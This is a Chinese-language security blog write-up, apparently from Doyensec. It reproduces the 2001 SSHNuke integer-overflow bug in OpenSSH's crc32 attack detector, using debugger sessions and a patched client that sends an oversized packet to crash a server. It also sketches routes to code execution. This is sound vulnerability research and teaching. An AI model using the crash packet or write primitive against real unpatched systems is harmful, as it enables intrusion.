!exploitable Episode Two - Enter the Matrix
27 Feb 2025 - Posted by Dennis Goodlett
引言
如果你刚刚开始关注,Doyensec 发现自己正身处一艘在地中海航行的游轮上。放松身心,与同事共度时光,享受一些乐趣。第一部分涵盖了我们进入 IoT ARM 漏洞利用的旅程,而我们的下一篇博客文章将在接下来的几周内发布,将涵盖一个 Web 目标。在这一集中,我们尝试利用有史以来最著名的漏洞之一——2001 年出现的 SSHNuke。更广为人知的是,这是电影《黑客帝国:重装上阵》中 Trinity 所使用的漏洞。
快速历史回顾
早在 1998 年,Ariel Futoransky 和 Emiliano Kargieman 意识到 SSH 协议存在根本性缺陷,因为它可能被注入密文。因此,添加了一个 crc32 校验和来检测这种攻击。
2001 年 2 月 8 日,Michal Zalewski 在 Bugtraq 邮件列表上发表了一篇名为 “SSH 守护进程 crc32 补偿攻击检测器的远程漏洞” 的公告,标签为 CAN-2001-0144(CAN 即 CVE 候选)(参考链接)。
这个 “crc32” 检测器存在一个独特的内存破坏漏洞,可能导致任意代码执行。
大约在六月之后,TESO Security 发布了一份声明,关于他们编写的一个漏洞利用程序的泄露。这很有趣,因为它表明直到六月都没有可靠的公开利用程序。TESO 知道 6 个私有的利用程序,包括他们自己的。
请记住,第一个针对内存破坏的主要操作系统级缓解措施(ASLR)直到那年七月才发布。
缺乏公开利用程序很可能是因为这个漏洞的新颖性。
《黑客帝国:重装上阵》于 2001 年 3 月开始拍摄,并于 2003 年 5 月上映。令人印象深刻的是,他们为这部电影选择了我们时代最著名的黑客之一发现的一个如此出色的漏洞。
亲自尝试
构建漏洞利用环境充其量是枯燥的。在海上,没有网络的情况下,尝试构建一个 20 年前的软件是一场噩梦。因此,当我们团队的一些人致力于这项工作时,我们将漏洞移植到了一个独立的 main.c 文件中,任何人都可以在任何现代(甚至旧的)系统上轻松构建。
请随时从 github 获取它,使用 gcc -g main.c 编译,并跟随操作。
漏洞
这是你尝试自己发现漏洞的最后机会。漏洞的核心在于以下源代码。
来自: src/deattack.c:82 - 109
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
/* Detect a crc32 compensation attack on a packet */
int
detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
{
static u_int16_t *h = (u_int16_t *) NULL;
static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE; // DOYEN 0x1000
register u_int32_t i, j;
u_int32_t l;
register unsigned char *c;
unsigned char *d;
if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || // DOYEN len > 0x40000
len % SSH_BLOCKSIZE != 0) { // DOYEN len % 8
fatal("detect_attack: bad length %d", len);
}
for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
;
if (h == NULL) {
debug("Installing crc compensation attack detector.");
n = l;
h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
} else {
if (l > n) {
n = l;
h = (u_int16_t *) xrealloc(h, n * HASH_ENTRYSIZE);
}
}
|
这段代码确保 h 缓冲区及其大小 n 被正确管理。这段代码至关重要,因为它对每个加密消息都会运行。为了防止重新分配,h 和 n 被声明为 static。xmalloc 将在第一次调用时初始化 h 内存。随后的调用测试 len 对于 n 是否太大——如果是,则会发生 xrealloc。
你发现漏洞了吗?我的第一个想法是 xmalloc(n * HASH_ENTRYSIZE) 或其兄弟 xrealloc(h, n * HASH_ENTRYSIZE) 存在整数溢出。这是错误的!
这些值不会溢出,因为 n 受到限制。然而,这些限制最终成为了真正的漏洞。我很好奇 Zalewski 是否也走了这条路。
变量 n 在早期声明(根据 C99 规范)为 16 位值(static u_int16_t),而 l 是 32 位(u_int32_t)。因此,如果 l 大于 0xffff,n = l 可能会发生整数溢出。我们能否让 l 大到足以溢出?
1
2
|
for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
;
|
这行神秘的代码是我们设置 l 的唯一机会。它最初将 l 设置为 n。记住 n 代表我们静态的 h 的大小。所以 l 就像一个临时变量,用来查看 n 是否需要调整。每次这个 for 循环运行时,l 都会左移 2 位(l << 2)。这实际上使 l 每次迭代乘以 4。我们知道 l 初始为 0x1000,所以经过一次循环后它将变为 0x4000。再一次循环,就是 0x10000。这个 0x10000 值转换为 u_int16_t 时会溢出并结果为 0。因此,所有可能的 n 值是 0x1000、0x4000 和 0。上述循环的任何进一步迭代都会将 0 位移为 0。
当 l < HASH_FACTOR(len / SSH_BLOCKSIZE) 时循环运行。HASH_FACTOR 宏只是将 len 乘以 3/2。所以一点数学计算让我们知道,len 需要达到 0x15560 或更多,才能循环两次。我们可以使用我们的 main.c 通过添加以下代码(或使用 git 仓库的 cheat 分支)来验证这一点。
1
2
3
4
5
6
7
8
9
10
11
12
13
|
int main() {
size_t len = 0x15560;
unsigned char *buf = malloc (len);
memset(buf, 'A', len);
// call to vulnerable function
int i = detect_attack(buf, len, NULL);
free (buf);
printf("returned %d\n", i);
return 0;
}
|
然后使用 lldb 在我们的 Mac 上调试它。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
|
$ gcc -g main.c
$ lldb ./a.out
(lldb) target create "./a.out"
Current executable set to 'a.out' (arm64).
(lldb) source list -n detect_attack
File: main.c
...
165 int
166 detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
167 {
168 static u_int16_t *h = (u_int16_t *) NULL;
169 static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
170 register u_int32_t i, j;
171 u_int32_t l;
(lldb)
172 register unsigned char *c;
173 unsigned char *d;
174
175 if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
176 len % SSH_BLOCKSIZE != 0) {
177 fatal("detect_attack: bad length %d", len);
178 }
179 for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
180 ;
181
182 if (h == NULL) {
(lldb)
(lldb) b 182
Breakpoint 1: where = a.out`detect_attack + 200 at main.c:182:6, address = 0x0000000100003954
(lldb) r
Process 7691 launched: 'a.out' (arm64)
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
frame #0: 0x0000000100003954 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAA....
179 for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
180 ;
181
-> 182 if (h == NULL) {
183 debug("Installing crc compensation attack detector.");
184 n = l;
185 h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
Target 0: (a.out) stopped.
(lldb) p/x l
(u_int32_t) 0x00010000
(lldb) p/x l & 0xffff
(u_int32_t) 0x00000000
(lldb) n
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = step over
frame #0: 0x0000000100003970 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAAAAA...
180 ;
181
182 if (h == NULL) {
-> 183 debug("Installing crc compensation attack detector.");
184 n = l;
185 h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
186 } else {
Target 0: (a.out) stopped.
(lldb) n
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = step over
frame #0: 0x0000000100003974 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAAAAAAA...
181
182 if (h == NULL) {
183 debug("Installing crc compensation attack detector.");
-> 184 n = l;
185 h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
186 } else {
187 if (l > n) {
Target 0: (a.out) stopped.
(lldb) n
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = step over
frame #0: 0x0000000100003980 a.out`detect_attack(buf="AAAAAAAAAAAAAAAAAAAAAAAAAAAAA...
182 if (h == NULL) {
183 debug("Installing crc compensation attack detector.");
184 n = l;
-> 185 h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
186 } else {
187 if (l > n) {
188 n = l;
Target 0: (a.out) stopped.
(lldb) p/x n
(u_int16_t) 0x0000
|
上面最后一行显示,在 n = l 之后,n 为 0。如果我们继续运行代码,这个原因的重要性很快就会显现出来。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
(lldb) c
Process 7691 resuming
Process 7691 stopped
* thread #1, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=1, address=0x600082d68282)
frame #0: 0x0000000100003c78 a.out`detect_attack(buf="AAAAA...
215 h[HASH(IV) & (n - 1)] = HASH_IV;
216
217 for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
-> 218 for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED;
219 i = (i + 1) & (n - 1)) {
220 if (h[i] == HASH_IV) {
221 if (!CMP(c, IV)) {
Target 0: (a.out) stopped.
(lldb) p/x i
(u_int32_t) 0x41414141
(lldb) p/x h[i]
error: Couldn't apply expression side effects : Couldn't dematerialize a result variable: couldn't read its memory
|
我们遇到了崩溃,显示我们注入的 ‘A’s 为 0x41414141。
崩溃分析
崩溃发生是因为检查 h[0x41414141] != HASH_UNUSED(下面的 [0])命中了无效内存。
来自: src/deattack.c:135 - 153
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
for (i = HASH(c) & (n - 1); h[i] /*<- [0]*/ != HASH_UNUSED;
i = (i + 1) & (n - 1)) {
if (h[i] == HASH_IV) {
if (!CMP(c, IV)) {
if (check_crc(c, buf, len, IV))
return (DEATTACK_DETECTED);
else
break;
}
} else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {
if (check_crc(c, buf, len, IV))
return (DEATTACK_DETECTED);
else
break;
}
}
h[i] = j; // [1] 任意写入!!!
}
|
如果 h[i] 是一个可读的偏移量呢?经过一些检查后,我们会到达 [1] 处,即 h[i] = j。注意 j 是循环的迭代次数,我们可以通过缓冲区长度控制它。i 是我们的 0x41414141,我们可以控制它。因此,我们最终在循环中获得了写什么到哪里的原语。
攻击真实环境!
此时,我们已经建立了一个正常工作的 OpenSSH 服务器。我们需要通过 SSH 协议 1 发送我们的缓冲区。我们找不到一个适用于这种过时的、有缺陷的协议的 SSH Python 客户端。预期的解决方案是修补掉 OpenSSH 的加密部分,使其成为一个简单的套接字连接。
相反,我们修补了源代码附带的 OpenSSH 客户端。看来真正的漏洞利用作者可能也采取了类似的方法。
使用一个小技巧很容易找到补丁位置。在 SSH 服务器应用程序中易受攻击的 detect_attack 处使用 gdb 设置断点。然后使用 gdb 调试连接到服务器的客户端。服务器在断点处挂起,导致客户端挂起,等待服务器对数据包的响应。在客户端中按 Ctrl+C,我们就进入了发送到服务器的第一个易受攻击数据包的响应处理程序。因此,我们制作了以下补丁。
来自: sshconnect1.c:873 - 890
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
{
// DOYENSEC
// 构建利用服务器的数据包
packet_start(SSH_MSG_IGNORE); // 应该什么都不做
int dsize = 0x15560 - 0x10; // -0x10 因为他们为我们添加了 crc
char *buf = malloc (dsize);
memset(buf, 'A', dsize - 1);
buf[dsize] = '\x00';
packet_put_string(buf, dsize);
packet_send();
packet_write_wait();
}
/* 发送要在服务器上登录的用户名。 */
packet_start(SSH_CMSG_USER);
packet_put_string(server_user, strlen(server_user));
packet_send();
packet_write_wait();
|
运行这个修补过的客户端,得到了与 main.c 情况下相同的崩溃。
下一步去向…
重要的是要理解这个利用原语有很多弱点。
h 缓冲区是一个 u_int16_t *。在小端系统上,你无法将任意值写入 (char *)h + 0。除非你设置 j 的高位。为了能够设置 j 的所有高位,你需要能够循环 0x10000 次。
来自: src/deattack.c:135
1
|
for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
|
循环每次遍历 8(SSH_BLOCKSIZE)个字节以递增 j 一次。我们需要一个大小为 0x80000 的缓冲区才能做到这一点。以下检查限制我们只能写入所有可能 j 值的一半。
来自: src/deattack.c:93 - 96
1
2
3
4
|
if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) || // len > 0x40000
len % SSH_BLOCKSIZE != 0) {
fatal("detect_attack: bad length %d", len);
}
|
此外,如果你想将相同的值写入两个位置,你必须在不出错的情况下两次调用易受攻击的函数。但是,一旦你导致静态的 n 变为 0,它在下一次进入时将保持为 0。这将导致 l 位移循环无限循环。无论它怎么尝试,位移 0 都无法使其大到足以处理你的缓冲区长度。你可以通过使用任意写入将 n 设置为任何设置了单个位的值(例如 0x1、0x2、0x4…)来绕过此问题。如果你使用任何其他值(例如 0x3),那么循环的计算可能会有所不同。
所有这些甚至都没有考虑到在 detect_attack 函数之外等待的挑战。如果校验和失败,你会失去会话吗?如果密文(你的缓冲区)解密失败,会发生什么?
所有这些都会影响你选择哪条路实现 RCE。Trinity 的漏洞利用覆盖了 root 密码,使用了新的任意字符串。也许这是通过将记录器指向 /etc/passwd 完成的?与 shellcode 相比,这样做有什么优势吗?或者破坏身份验证流程,只是将一个 “is authenticated” 位从 false 翻转为 true 怎么样?你能覆盖内存中的客户端公钥,使其 RSA 指数为 0 吗?有很多有趣的选项可以尝试。
你能制作一个绕过 ASLR 的漏洞利用吗?
结论
我们的目标是使打了补丁的 OpenSSH 崩溃。考虑到可用的时间和资源,我们超出了自己的预期,控制了未打补丁的 OpenSSH 使其崩溃。这是由于团队合作以及在漏洞利用过程中创造性地节省时间所致。在整个过程中,大量的理论推演帮助我们避免了时间陷阱。最重要的是,我们度过了很多快乐的时光。